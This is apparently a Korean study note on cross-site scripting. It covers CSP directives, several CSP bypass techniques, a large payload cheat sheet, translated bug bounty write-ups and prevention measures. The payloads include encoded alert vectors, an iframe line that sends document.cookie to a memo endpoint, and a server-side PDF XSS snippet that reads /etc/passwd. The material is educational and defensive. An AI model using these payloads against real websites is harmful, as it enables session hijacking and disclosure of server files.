Cross Site Scripting(XSS)

🔎 CSP (Content Security Policy)

CSP(컨텐츠 보안 정책)은 XSS나 데이터를 삽입하는 공격이 발생하였을 때 피해를 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있도록 새롭게 추가된 보안 계층입니다.
XSS 공격의 경우, 페이지 내에 교묘하게 자바스크립트 구문을 삽입하여 마치 원래 페이지의 컨텐츠인 것처럼 브라우저를 속이고 동일 출처 정책을 우회하기도 합니다.
이에 따라 페이지의 컨텐츠에서 사용하는 자원들이 모두 웹 서버에서 의도한 자원이 맞는지 확인하기 위해 Content Security Policy(CSP) 를 사용합니다.

CSP는 인라인 코드(Inline Code)를 유해하다고 간주하여 CSP에서는 기본적으로 사용이 불가합니다.
script 태그 내에 코드를 삽입하는 것을 포함하여 on 이벤트 핸들러, javascript: 와 같은 URL 스킴 또한 인라인 코드로 간주하여 허용하지 않습니다.

<script>alert(1);</script> (불가능)
<script src="alert.js"></script> (가능)

Policy Directive

Policy-directive는 <directive> <value> 형태로 구성됩니다.
directive는 지시문이라고 부르며, 컨텐츠 내에서 로드하는 리소스를 세분화 해 어떤 리소스에 대한 출처를 제어할지 결정하며, value 부분에는 directive에서 정의한 리소의 출처를 정의합니다. value에는 여러 개의 출처가 정의될 수 있으며 공백을 통해 구분됩니다.

지시문	설명
default-src	-src로 끝나는 모든 리소스의 기본 동작을 제어합니다. 만약 CSP구문 내에서 지정하지 않은 지시문이 존재한다면 defualt-src의 정의를 따라갑니다.
img-src	이미지를 로드할 수 있는 출처를 제어합니다.
script-src	스크립트 태그 관련 권한과 출처를 제어합니다.
style-src	스타일시트 관련 권한과 출처를 제어합니다.
child-src	페이지 내에 삽입된 프레임 컨텐츠에 대한 출처를 제어합니다.
base-uri	페이지의 태그에 나타날 수있는 URL을 제어합니다.

value 부분으로 올 수 있는 출처의 종류입니다. 일반적으로 value 부분에는 URL을 전달받으나 와일드 카드의 사용, 특수한 목적의 출처도 존재합니다.

출처	설명
*://example.com	출처의 scheme은 와일드카드를 이용해 표현할 수 있습니다.
https://*.example.com	출처의 호스트 서브도메인은 와일드카드를 이용해 표현할 수 있습니다.(단, 와일드카드는 중간에 들어갈 수 없음)
https://example.com:*	출처의 포트는 와일드카드를 이용해 표현할 수 있습니다
none	모든 출처를 허용하지 않습니다.
self	페이지의 현재 출처(Origin)내에서 로드하는 리소스만 허용합니다.
unsafe-inline	예외적으로 인라인 코드의 사용을 허용합니다
unsafe-eval	예외적으로 eval과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용합니다
nonce-(base64-value)	nonce 속성을 설정하여 예외적으로 인라인 코드를 사용합니다. base64-value는 반드시 요청마다 다른 난수의 값으로 설정해야 하며 해당 출처를 설정하면 unsafe-inline은 무시됩니다.
(hash-algorithm)-(base64-value	script 혹은 style 태그 내 코드의 해시를 표현합니다. 해당 출처를 사용하면 unsafe-inline은 무시됩니다.

CSP Bypass

신뢰하는 도메인
CSP를 이용하면 브라우저가 특정 출처에서만 자원을 불러오게끔 제한할 수 있지만 만약 해당 출처가 파일업로드 및 다운로드 기능을 제공한다면 공격자는 출처에 스크립트와 같은 자원을 업로드한 뒤 다운로드 경로로 웹페이지에 자원을 포함시킬 수 있습니다.

<meta http-equiv="Content-Security-Plicy" content="script-src 'self'">
# 우회
<script src="/download_file.php?id=177742"></script>
<script src="/vuln?param=alert(1)"></script>

JSONP API
만약 CSP에서 허용한 출처가 JSONP API를 지원한다면, callback 파라미터에 원하는 스크립트를 삽입하여 공격이 가능합니다.
웹페이지에서 *.google.com 에서 온 출처만 허용한다고 하면 구글에서 JSON API를 지원하는 서버를 찾아 callback에 원하는 스크립트를 삽입할 수 있습니다.
이럴 경우는 콜백 이름에 식별자를 제외한 문자를 거부함으로써 이를 추가적으로 방어할 수 있습니다. 그러나 가능한 경우 JSONP보다는 CORS를 지원하는 API를 사용하는것이 좋습니다.

<meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
...
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>

nonce 예측 가능
CSP의 nonce를 이용하면 따로 도메인이나 해시 등을 지정하지 않아도 공격자가 예측할 수 없는 nonce 값이 태그 속성에 존재할 것을 요구함으로써 XSS공격을 방어할 수 있습니다.
nonce값은 보통 요청마다 새로 생성됨 (단 공격자가 nonce값을 취득하거나 알고리즘이 취약하여 예측할 수 없어야 함)
nonce를 사용할 때에는 nonce값을 담고 있는 HTTP헤더 또는 meta 태그가 캐싱되지 않는지 주의해야합니다.
PHP나 CGI계열 스크립팅을 사용할 때에는 스크립트들이 /index.php/style.css 처럼 뒤에 추가적인 경로를 붙여 접근할 수 있는데 만약 캐시서바가 확장자를 기반으로 캐시 여부를 판단한다면 .css는 일반적으로 정적파일이므로 동적 콘텐츠로 간주하지 않아 캐시에 저장할 수 있어 캐시가 만료될 때까지 요청시마다 같은 nonce가 돌아오기 떄문에 공격자는 이를 바탕으로 nonce를 획득할 수 있습니다.
콘텐츠가 캐시되어 서버 측 XSS는 일어나지 않으나, DOM XSS 등 클라이언트 측에서 일어날 수 있는 공격에 취약하게 됩니다.

<script nonce="{고정된 nonce 값}">alert(1);</script>

base-uri 미지정
HTML 하이퍼링크에서 호스트 주소 없이 경로를 지정하면 브라우저는 현재 문서를 기준으로 주소를 해석합니다.
HTML base 태그는 경로가 해석되는 기준점을 변경할 수 있도록 하며 a, form 등의 targer 속성의 기본 값을 지정하도록 합니다.
만일 공격자가 <base href="https://malice.test/xss-proxy/"> 와 같은 마크업을 삽입하게 된다면 공격자의 서버에 자원을 가리키게 되어 공격자는 임의의 스크립트 등을 삽입할 수 있게 됩니다. base-uri 지시문을 임의로 지정하지 않는 이상 defulat 초기 값이 존재하지 않으므로 개발할때 반드시 base-uri 지시문을 정의해주어야함.

# base 태그의 URL 제한
Content-Security-Policy: base-uri 'none'
# base 태그의 제한이 없을 시 임의 자원 업로드
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>

🍁 Cheat sheet

Common Payloads

// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

normalize(정규화) 우회

# GET에서는 %09 POST에서는 실제 TAB 값 '    ' 입력 시 normalize과정에서 삭제됨
<script src="URI"></script> <!-- URI에 요청해서 받은 것을 innerHTML 안에 넣어줍니다 -->
<a href="URI">click me</a> <!-- 클릭하면 현재 창(window)이 URI로 갑니다(go) -->
<iframe src="URI"></iframe> <!-- iframe 안의 창(window)이 URI로 갑니다(go)-->
<img src="URI"/> <!-- URI에 요청해서 받은 것을 이미지로 보여줌 -->

<iframe src="javascri%09pt:parent.locatio%09n.href='/memo?memo='%2bdocume%09nt.cookie">

IMG alert bypass

//IMG onerror and JavaScript Alert Encode
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

//Decimal HTML Character References
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

//Decimal HTML Character References Without Trailing Semicolons¶
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

//Hexadecimal HTML Character References Without Trailing Semicolons¶
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Bypass using ECMAScript6 (가로우회)

# 백틱
<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>

Server Side XSS(Dynamic PDF) / HTB-Book 참조

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");x.send();
</script>

🐞 BugBounty Write up

다른 공격자가 발견하여 올린 취약점을 번역한 글들입니다

CSRF 토큰 사용 Reflected XSS

https://mostafa-mano.medium.com/2-reflected-xss-in-razer-74783ae5ee53

XSS 매개변수를 찾을때 CSRF 토큰이 주석처리되어 응답값에 반여되고 있다는것을 확인
CSRF토큰에 --> 으로 주석을 닫은 후 <h1> 태그 입력시 HTML 응답값에 반영

--><h1>hacked</h1>

csrf_xss1 주석을 닫은 후 응답값 확인

csrf_xss2 스크립트가 입력되어 버튼 생성

CSP 우회 to perform XSS using MIME sniffing

https://infosecwriteups.com/content-security-policy-bypass-to-perform-xss-3c8dd0d40c2e

CSP가 외부 XSS 실행을 차단하고 있어 정상적인 XSS 페이로드가 실행되지 않을때, 다른 엔드포인트에서 CSP에 의해 차단되는 XSS를 발견 후 이들을 결합하여 CSP 우회하고 MIME sniffing을 사용하여 XSS 실행하는 취약점입니다.

1. 첫번째 XSS 발견

name 파라미터 입력값이 웹 body에 표현되는 경우입니다.

csp_xss1

String 입력값 대신에 간단한 HTML 페이로드(<h1>kleiton0x00</h1>)를 입력 할 경우 해당 페이로드가 body에 반영되어 html로 나타나게 됩니다.

csp_xss2

html injection이 성공하였으니, xss 페이로드 <script>alert(1)</script> 를 입력하였을경우 필터링처리 없이 정상적으로 값이 입력되지만 CSP에 의해 스크립트가 실행되지 못하고 차단됩니다.

csp_xss3

csp_xss4 필터링 없이 스크립트 값 입력됨

csp_xss5 개발자 도구에서 확인 시 csp에 의해 스크립트 차단

Content Security Policy(CSP)는 웹 사이트에 삽입되는 외부 코드를 차단하는 HTTP 헤더입니다. 일반적으로 잘 구현된 CSP는 내부 엔티티(도메인 자체)에 의한 스크립트만 허용합니다.

먼저 CSP가 작동하는 방식과 웹사이트 내부에 스크립트를 로드할 수 있는 소스를 감지하여야 합니다.

csp_xss6

HTTP헤더 특히 Content-Security-Policy를 살펴보면 CSP에 웹사이트 자체와 해당 디렉토리 및 하위 도메인에서 스크립트를 허용하는 규칙이 있음을 알 수 있습니다.즉, 우리의 자바스크립트 페이로드를 입력할 수 있는게 제한되어 있습니다.

2. 다른 endpoint에서 XSS 취약점 찾기

csp에 막혀 우회할 수 없을때 다른 xss 를 찾기 시작했습니다. index 페이지의 소스코드를 살펴볼때 흥미로운 파라미터를 가진 php의 페이지를 발견했습니다.

csp_xss7

해당 php파일의 파라미터에 값대신에 간단한 string 값을 넣고 확인 시 입력값이 소스코드에 들어가는 것을 확인 가능합니다.

csp_xss8

간단한 문자열을 입력하는 대신 js 코드에 악성 코드인 alert(1); 입력시 뒤의 남은 코드 *1000).getTime(); 은 // 주석 처리로 제거할 수 있씁니다.

Full URL:
http://website.com/js/countdown.php?end=2534926825);alert(1);//

하지만 해당 URL로 이동시 XSS가 역시 CSP에 차단되어 터지지는 않습니다.

3. MIME 스피닝을 사용하여 2개의 XSS로 CSP 우회

MIME 스피닝을 활용하여 XSS 공격을 수행하라면 특정 조건이 활용되어야 합니다.

1. 공격자가 악성 JS 코드를 주입할 수 있도록 서버 응답의 콘텐츠를 제어할수 있어야한다.(두번째 발견한 XSS)
2. 공격자는 HTML 주입 또는 JS주입(첫번째 발견한 XSS)을 통해 실행가능한 context를 도입할 수 있어야한다.

첫번째 찾은 페이로드와 두번째 페이로드를 합쳐준 최종 페이로드

<script src=’http://website.com/js/countdown.php?end=2534926825);alert(1);//></script>

csp_xss9

👀 How to Prevent ?

HTML 태그 사용이 불필요한 경우
->모든 HTML 태그 사용이 불가능하도록 Server-Side로 필터링 적용 또는 JavaScript에서 주로 사용되는 특수문자에 대해 치환

변경전	<	>	(	)	#	&	’	”
변경후	<	>	(	)	#	&	'	"

HTML 태그 사용이 필요한 경우
-> 사용자가 입력하는 값에 대한 검증 로직을 Server-Side 구현
-> 사용이 필요한 태그 리스트를 정의하고 해당 리스트만 허용하도록 White-list 방식으로 허용
-> 정상적인 Request와 비정상적인 Request를 구분할 수 있도록 Form / URL 에서 임의의 토큰을 추가하고 이 토큰을 검증하도록 구현
-> HTML Editor 사용으로 인한 상기 사항 조치 불가 시, Server-Side/Servlet/DAO(Data Access Object)영역에서 조치하도록 설계
-> 서버에서 X-XSS-Protection 응답 헤더를 설정하여 사용자 브라우저의 XSS 보호 옵션을 설정
-> HTTPOnly 플래그를 사용하여 자바스크립트에서 쿠키에 접근하는 것을 제한
-> CSP(Content Security Policy)를 선언하여 웹 사이트에서 로드하는 리소스의 출처 제한

📃 References